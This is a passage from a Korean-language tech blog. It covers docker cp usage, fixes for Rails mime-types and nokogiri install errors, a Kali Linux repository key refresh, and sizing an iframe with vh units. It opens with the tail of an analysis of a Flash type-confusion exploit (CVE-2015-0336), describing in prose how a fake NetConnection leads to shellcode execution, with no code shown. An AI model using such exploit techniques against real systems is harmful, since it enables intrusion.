tr로 받은 객체(잘못된 NetConnection이 들어있는)를 _loc2에 넣고 이를 _loc3에서 loadByptes로 읽어줍니다.
이 순간 문제가 발생하고 trigger.swf 의 NetConnection(가짜)이 처리되며 edi 값이 이 swf를 가리킵니다. 이후에 do_exploit(쉘코드 실행)을 통해 쉘이 떨어지게 됩니다.


Reference

https://www.exploit-db.com/exploits/36962/
https://help.adobe.com/ko_KR/FlashPlatform/reference/actionscript/3/flash/net/NetConnection.html
https://cloudblogs.microsoft.com/microsoftsecure/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/
Share: | Coffee Me:

[DOCKER] 도커 컨테이너, 호스트간 파일 전송/받기(How to send/recive docker container)

그냥 메모 차원으로 작성합니다.
docker container 와 호스트 간 파일 이동 시 cp, scp 와 동일하니 쉽게 생각하면 됩니다.


cp [source] [destination]


#> docker cp ./move.me containerId:/[file_path]

#> docker cp containerId:/tmp/move.me . 

추가 옵션으론.. uid, gid 까지 복사해주는 archive 모드와 symlink의 원본 데이터를 떠주는 follow-link 옵션이 더 있습니다.

Name, shorthand Default Description
--archive , -a Archive mode (copy all uid/gid information)
--follow-link , -L Always follow symbol link in SRC_PATH


아마 container 간 데이터 공유도 비슷하지 않을까 싶습니다.
#> docker cp containerId:/tmp/move.me containerId:/tmp/desc.me

라고 생각했지만.. 아닌듯 합니다.

alias로 하나 만들어두시는게 좋을 것 같습니다.

alias atob='docker cp containerId:/tmp/move.me /tmp/tmp.data;docker cp /tmp/tmp.data container22Id:/tmp/move.me'

Reference

http://shy-blg.tistory.com/entry/Docker도커-컨테이너에-파일-전송하는-방법 [소울메이커]
https://docs.docker.com/engine/reference/commandline/cp/
Share: | Coffee Me:

3/03/2018

[ROR] Ruby on Rails "cannot load such file -- [package]" 해결 방법

왜그런진 잘 모르겠지만 오늘 업데이트 이후에  rails 서버 시작 시 에러가 발생합니다.
내용을 보자니.. mime/types를 찾을 수 없다고 하네요.

#> rails s
=> Booting Thin
=> Rails 4.2.9 application starting in development on http://localhost:3000
=> Run `rails server -h` for more startup options
=> Ctrl-C to shutdown server
/usr/lib/ruby/vendor_ruby/active_support/core_ext/load_error.rb:2: warning: already initialized constant LoadError::REGEXPS
/usr/share/rubygems-integration/all/gems/activesupport-4.2.9/lib/active_support/core_ext/load_error.rb:2: warning: previous definition of REGEXPS was here
/usr/lib/ruby/vendor_ruby/active_support/core_ext/load_error.rb:28: warning: already initialized constant MissingSourceFile
/usr/share/rubygems-integration/all/gems/activesupport-4.2.9/lib/active_support/core_ext/load_error.rb:28: warning: previous definition of MissingSourceFile was here
Exiting
/usr/lib/ruby/vendor_ruby/active_support/dependencies.rb:274:in `require': cannot load such file -- mime/types (LoadError)
from /usr/lib/ruby/vendor_ruby/active_support/dependencies.rb:274:in `block in require'
from /usr/lib/ruby/vendor_ruby/active_support/dependencies.rb:240:in `load_dependency'
from /usr/lib/ruby/vendor_ruby/active_support/dependencies.rb:274:in `require'
from /usr/lib/ruby/vendor_ruby/mail.rb:15:in `rescue in <module:Mail>'


분명 깔려있는데..

#> gem list  | grep mime
mime (0.4.4)
mime-types (3.1)
mime-types-data (3.2016.0521, 3.2015.1120)
mime_type (0.0.1)
mimemagic (0.3.2)

조금 고민하다가.. 설마하고 Gemfile 봤는데, mime-types가 없더군요.. rails에선 기본으로 추가해지 않았지만 실행할땐 필요로 하는.. 뭐 이런 상황이 있는지..
추가해주면 잘 실행됩니다.

#> vim Gemfile
[+] gem 'mime-types'



#> rails s
=> Booting Thin
=> Rails 4.2.9 application starting in development on http://localhost:3000
=> Run `rails server -h` for more startup options
=> Ctrl-C to shutdown server
/usr/lib/ruby/vendor_ruby/active_support/core_ext/load_error.rb:2: warning: already initialized constant LoadError::REGEXPS
/usr/share/rubygems-integration/all/gems/activesupport-4.2.9/lib/active_support/core_ext/load_error.rb:2: warning: previous definition of REGEXPS was here
/usr/lib/ruby/vendor_ruby/active_support/core_ext/load_error.rb:28: warning: already initialized constant MissingSourceFile
/usr/share/rubygems-integration/all/gems/activesupport-4.2.9/lib/active_support/core_ext/load_error.rb:28: warning: previous definition of MissingSourceFile was here
Thin web server (v1.6.3 codename Protein Powder)
Maximum connections set to 1024
Listening on localhost:3000, CTRL+C to stop

Conclusion

아마 mime-types 말고도 비슷한 에러를 겪는 분들이 있을거란 생각이 듭니다. rails 내 Gemfile에 빠져있을 수 있으니 꼭 확인해보시고, 없다면 추가하면 좋을 것 같습니다.
(물론 gem이 설치되어 있는데도 발생할 때)
Share: | Coffee Me:

[RUBY] nokogiri install/update 에러 해결하기(An error occurred while installing nokogiri (1.8.2), and Bundler cannot continue.)

간만에 레일즈 떔에 루비 가지고 놀던 중 nokogiri가 고장났습니다. (대체로 부팅과 함께 패키지 업데이트를 하는데, 그게 문제였죠..)

Using debug_inspector 0.0.3
Using i18n 0.9.3
Using tzinfo 1.2.5
The latest bundler is 1.16.1, but you are currently running 1.15.1.
To update, run `gem install bundler`
Downloading nokogiri-1.8.2 revealed dependencies not in the API or the lockfile (mini_portile2 (~> 2.3.0)).
Either installing with `--full-index` or running `bundle update nokogiri` should fix the problem.

단순하게 보면 nokogiri 버전업 중 문제가 있다고 합니다. gem이 준 솔루션대로 업데이트를 진행해보면..

#> bundle update nokogiri

또 에러가 납니다. 대체로 의존성 관련 에러나 패키지 에러들은 물고 물리기 떄문에 가장 깊이 있는 에러를 해결하는게 좋은 대안입니다.


To see why this extension failed to compile, please check the mkmf.log which can be found here:

  /var/lib/gems/2.3.0/extensions/x86_64-linux/2.3.0/nokogiri-1.8.2/mkmf.log

extconf failed, exit code 1

Gem files will remain installed in /var/lib/gems/2.3.0/gems/nokogiri-1.8.2 for inspection.
Results logged to /var/lib/gems/2.3.0/extensions/x86_64-linux/2.3.0/nokogiri-1.8.2/gem_make.out

An error occurred while installing nokogiri (1.8.2), and Bundler cannot continue.
Make sure that `gem install nokogiri -v '1.8.2'` succeeds before bundling.

.....

    current directory: /var/lib/gems/2.3.0/gems/nokogiri-1.8.2/ext/nokogiri
/usr/bin/ruby2.3 -r ./siteconf20180303-14226-1i2ac0v.rb extconf.rb
checking if the C compiler accepts ... yes
Building nokogiri using packaged libraries.
Using mini_portile version 2.3.0
checking for gzdopen() in -lz... no
zlib is missing; necessary for building libxml2
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of necessary
libraries and/or headers.  Check the mkmf.log file for more details.  You may
need configuration options.

잘 읽으면 보입니다.
아래 부분에 zlib 가 없어서 libxml2 빌딩이 안된다고 하네요.

#> apt-get install zlib1g-dev
#> bundle update nokogiri  

잘 됩니다 :)



혹시 그래도 문제가 있다면..

전체 gem package에 대해 restore 해보세욥.

#> gem pristine --all 
Share: | Coffee Me:

3/01/2018

[HACKING] Kali linux The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 에러 해결하기


최근에 테스트 기기로 쓰는 칼리에서 인증서 관련 에러가 났습니다.

#> noon@n341:/usr/share# apt-get update
Get:1 http://kali.cs.nctu.edu.tw/kali kali-rolling InRelease [30.5 kB]
Err:1 http://kali.cs.nctu.edu.tw/kali kali-rolling InRelease
  The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
Fetched 30.5 kB in 2s (16.0 kB/s)
Reading package lists... Done
W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: http://kali.cs.nctu.edu.tw/kali kali-rolling InRelease: The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
W: Failed to fetch http://http.kali.org/kali/dists/kali-rolling/InRelease  The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
W: Some index files failed to download. They have been ignored, or old ones used instead.

요점을 정리하면...

 "The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>"


"An error occurred during the signature verification. The repository is not updated and the previous index files will be used"



"ED444FF07D8D0BF6 시그니쳐가 잘못되어 받아올 수 없다" 라며 인증서 문제가 발생합니다. 다른 프로그램에서도 간혹 이런 인증서 관련 에러가 날때 새로 인증서를 갱신해줬습니다. 아마 최근에 있었던 2018 버전의 영향일 수도 있을 것 같구요.

Troubleshooting

gpg 통해서 keyserver에서 새로 키를 받아줍니다. 크리고 apt에 추가해주면 끝.

#> noon@n341:/usr/share# gpg --keyserver pgpkeys.mit.edu --recv-key  ED444FF07D8D0BF6
#> noon@n341:/usr/share# gpg -a --export ED444FF07D8D0BF6 | sudo apt-key add -

(칼리가 데비안 base라 좋네요. 뭔가 익숙함.. 하던짓거리도 거의 그대로 먹히고)

#> noon@n341:/usr/share# apt-get update
Get:1 http://kali.cs.nctu.edu.tw/kali kali-rolling InRelease [30.5 kB]
Get:2 http://kali.cs.nctu.edu.tw/kali kali-rolling/non-free Sources [121 kB]
Get:3 http://kali.cs.nctu.edu.tw/kali kali-rolling/contrib Sources [65.5 kB]
Get:4 http://kali.cs.nctu.edu.tw/kali kali-rolling/main Sources [11.8 MB]
Get:5 http://kali.cs.nctu.edu.tw/kali kali-rolling/main amd64 Packages [16.0 MB]
Get:6 http://kali.cs.nctu.edu.tw/kali kali-rolling/contrib amd64 Packages [106 kB]
Get:7 http://kali.cs.nctu.edu.tw/kali kali-rolling/non-free amd64 Packages [164 kB]

잘 됩니다 :)

Share: | Coffee Me:

[CSS] iframe height:100%가 안될 때 viewport를 이용하여 해결하기

iframe 관련해서 찾아보다가 재미있는거 발견해서 글 작성합니다.

iframe 태그를 쓰다보면 간혹 높이가 100%가 안되는 상황이 발생합니다. (자주있죠)
또한 다른 요소들의 크기를 조정하다가 %의 크기로 화면을 넘어가기도 합니다.

이런 경우 여러가지 방법으로 해결이 가능하지만 viewport를 이용해서도 가능합니다.

viewport란?

viewport란 브라우저에서 웹페이지(요소)가 표현되는 영역을 의미합니다. PC웹에선 크게 의미없을 수 있지만, 모바일 웹에선 이야기가 다릅니다.

모바일 디바이시는 우선 크기가 작기 때문에 화면 전체를 그리기가 어렵습니다. 그러나 화면 전체를 그리는 풀브라우징이 모바일 브라우저에서 지원하고 있고, 모바일 환경에서도 PC웹과 같이 화면 전체를 뿌려주길 원합니다.

그치만 단순위 전체 크기만 늘려서 화면을 그리면.. 기존 요소들(글꼴, 이미지 등)이 너무 작아지게 되죠.

이걸 viewport를 통해 해결합니다. 아래 viewport 관련 속성인 vh, vw를 보죠.


vh와 vw는 viewport height, viewport width의 약자입니다. 이 요소는 총 높이, 너비값의 1/100을 의미합니다.
예를들면..

width:900px 인 웹 페이지가 있을 떄 여기의 1 vw는 9px가 됩니다. vh도 동일하죠.

이렇게 되면 현재 화면에 그려지는 총 크기에 1/100의 크기의 값을 항상 가질 수 있습니다.
이를 통해서 전체적인 글꼴의 크기나 이미지 크기를 조정할 수 있지요.

비슷한 속성으론 vmin, vmax도 있습니다. (딱봐도 감오죠?)

iframe의 높이를 맞춰보자

viewport에 대해 알았으니 별거 없습니다.  vh를 100으로 주게되면 현재 그려진 영역의 크기에서 100%에 해당되는 크기만큼을 잡기 때문에 화면을 넘어가거나, 적어질일이 없습니다.

<iframe src=123123 width="100%" height="100vh"></iframe>

Reference

http://dgkim5360.tistory.com/entry/adjusting-iframe-height-100-precent
https://stackoverflow.com/questions/5867985/full-screen-iframe-with-a-height-of-100
Share: | Coffee Me: